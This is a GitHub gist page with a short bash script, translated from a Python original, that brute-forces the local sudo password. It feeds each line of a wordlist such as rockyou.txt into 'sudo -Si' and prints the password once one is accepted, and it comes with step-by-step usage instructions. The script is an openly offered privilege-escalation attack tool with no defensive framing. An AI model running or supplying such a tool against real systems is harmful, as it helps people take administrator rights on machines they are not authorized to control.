Last active
July 31, 2022 18:12
-
-
Save medanisjbara/7f3e88e3183c924c8b55485cab17ec18 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Author: Med Anis Jbara | |
# This is a bash translation of the sudo_brute_force.py (https://gist.github.com/ramuta/e32865d911e087844fc8c526a72fea49) | |
# How to use this script: | |
# 1. You need to have a wordlist file, something like rockyou.txt | |
# 2. Make the script executable by running: chmod +x sudo_brute_force.sh | |
# 3. Run the script like this: ./sudo_brute_force.sh passwords.txt | |
if [ "$1" ]; then | |
if test -f "$1" ; then | |
echo "using $1 as password file" | |
else | |
echo "Can't open $1" | |
exit 1 | |
fi | |
else | |
echo "You need to add a wordlist! Run the script like this: ./sudo_brute_force.sh passwords.txt" | |
exit | |
fi | |
while read -r p; do | |
echo "$p" | |
if echo "$p"| sudo -Si ; then | |
echo "Success! :) The password is: $p" | |
break | |
else | |
echo "Wrong password... :( Let's try again!" | |
echo | |
fi | |
done < "$1" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This is a direct translation of sudo_brute_force.py from python to bash. if the script here didn't work. That's because sudo_brute_force.py doesn't work.